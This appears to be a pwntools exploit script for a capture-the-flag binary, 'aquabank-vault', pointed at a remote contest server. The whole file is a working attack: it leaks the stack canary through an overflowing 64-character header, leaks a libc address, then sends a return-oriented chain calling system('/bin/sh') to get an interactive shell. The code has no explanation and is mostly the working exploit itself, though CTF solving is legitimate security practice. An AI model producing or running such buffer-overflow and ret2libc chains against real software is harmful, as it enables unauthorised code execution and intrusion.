#!/usr/bin/env python3

from pwn import *

exe = ELF("./aquabank-vault_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.39.so")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r)
    else:
        r = remote("offsec.m0lecon.it", 13533)

    return r


def main():
    p = conn()
    print(p.recvuntil(b"> "))
    p.sendline(b"1")
    print(p.recvuntil(b"Type the receipt header (up to 64 chars):\n"))

    p.sendline(b"A" * 64)
    # p.sendline(b"A" * 1)
    print(p.recvline())
    # print(p.recvline()[64 + 8 : 64 + 16])
    leak = p.recvline()
    print(leak[64:])
    canary = leak[64 + 8 : 64 + 16].strip()
    # canary = canary[::-1]
    # canary = int(canary, 16)
    print(f"Canary:{canary} len: {len(canary)}")
    p.recvuntil(b"> ")
    p.sendline(b"2")
    print(p.recvuntil(b"Enter your combination:\n"))
    # p.interactive()
    payload = flat(
        # b"A" * 128,
        b"A" * 136,
        canary,
        b"STOPHERE",
        exe.symbols["print_receipt"],
        exe.symbols["main"],
    )
    p.send(payload)
    p.recvline()
    # print(p.recvline())
    # print(p.recvuntil(b"Enter your combination:\n"))
    # print(p.recvuntil(b"> "))
    # p.sendline(b"1")
    # print(p.recvuntil(b"Type the receipt header (up to 64 chars):\n"))
    pause()
    p.sendline(b"A" * 64)
    p.recvline()
    p.recvline()

    first_leak = p.recvline()[64:].strip()
    print(f"Leak: {first_leak} len: {len(first_leak)}")
    leak = p.recvline().strip()
    first_leak += leak
    count = 0
    addr = 0
    for i in range(len(first_leak)):
        if first_leak[i] == 0x7F:
            addr_raw = first_leak[i : i - 6 : -1].strip()
            addr = int.from_bytes(addr_raw, byteorder="big")
            if count == 4:
                print(f"Address: {hex(addr)}")
                break
            count = count + 1
            # FIFTH INDEX (5)
            # for i in range(23):
    # print(f"Address - puts:{hex(addr - libc.symbols['puts'])}")
    # print(f"Address - read:{hex(addr - libc.symbols['read'])}")
    # print(f"Address - fwrite:{hex(addr - libc.symbols['fwrite'])}")
    print(f"Address - start_main:{hex(addr - libc.symbols['__libc_start_main'] + 54)}")
    libc.address = addr - libc.symbols["__libc_start_main"] + 54
    print(p.recvuntil(b"> "))
    p.sendline(b"2")
    print(p.recvuntil(b"Enter your combination:\n"))
    pop_rdi = 0x000000000010F78B
    ret_libc = 0x000000000002882F
    ret = 0x000000000040101A
    BINSH = next(libc.search(b"/bin/sh\x00"))
    ropchain = flat(
        b"A" * 136,
        canary,
        p64(ret),
        p64(libc.address + pop_rdi),
        BINSH,
        p64(ret),
        # p64(libc.symbols["puts"]),
        p64(libc.symbols["system"]),
    )
    p.sendline(ropchain)
    p.interactive()
    # print(f"Address - printf:{hex(addr - libc.symbols['printf'])}")
    # print(f"Address - setvbuf:{hex(addr - libc.symbols['setvbuf'])}")
    #    addr = first_leak[i * 8 : (i * 8) + 9]
    #    addr = addr[::-1]
    #    print(f"Address: {addr}")

    # pause()
    # p.sendline(b"A" * 1)
    # leak = p.recvline()
    # print(f"LEAK:{leak[64:]}")
    # print(p.recvline())
    # print(p.recvline())
    # print(p.recvline()[64 + 8 : 64 + 16])
    # leak = p.recvline()
    # print(leak[64:])
    # p.interactive()
    # good luck pwning :)

    # p.interactive()


if __name__ == "__main__":
    main()
